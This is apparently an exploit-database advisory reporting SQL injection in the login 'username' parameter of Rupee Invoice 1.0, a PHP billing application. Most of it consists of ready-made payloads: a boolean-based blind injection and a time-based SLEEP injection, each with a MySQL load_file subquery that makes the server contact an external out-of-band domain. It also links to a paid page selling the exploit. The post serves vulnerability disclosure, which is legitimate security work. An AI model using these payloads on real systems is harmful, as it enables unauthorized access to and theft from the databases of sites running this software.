📄 Rupee Invoice 1.0 SQL Injection

# Titles: RUPEE-INVOICE-1.0-Multiple-SQLi
    # Author: nu11secur1ty
    # Date: 09/09/2025
    # Vendor: https://www.mayurik.com/
    # Software:
    https://www.sourcecodester.com/download-code?nid=14831&title=Billing+System+Project+in+PHP+Source+Code+Free+Download
    # Reference: https://portswigger.net/web-security/sql-injection
    
    ## Description:
    The `username` parameter appears to be vulnerable to SQL injection attacks.
    The payload '+(select load_file('\\\\
    jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+' was
    submitted in the username parameter. This payload injects a SQL sub-query
    that calls MySQL's load_file function with a UNC file path that references
    a URL on an external domain. The application interacted with that domain,
    indicating that the injected SQL query was executed.
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Payload:
    - SQLi:
    
    ```SQLi
    ---
    Parameter: username (POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
        Payload: username=hPpqTCiq'+(select load_file('\\\\
    jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+'' OR NOT
    5577=5577 AND 'YwXM'='YwXM&password=i8Z!y4e!U3&login=
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: username=hPpqTCiq'+(select load_file('\\\\
    jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+'' AND (SELECT
    2676 FROM (SELECT(SLEEP(11)))lelL) AND
    'AykD'='AykD&password=i8Z!y4e!U3&login=
    ---
    ```
    
    # Reproduce:
    [href](https://www.patreon.com/posts/rupee-invoice-1-138493095)
    
    # Buy an exploit only:
    [href](https://www.patreon.com/posts/rupee-invoice-1-138493095)
    
    # Time spent:
    01:15:00
    
    
    -- 
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    home page: https://www.nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                              nu11secur1ty <http://nu11secur1ty.com/>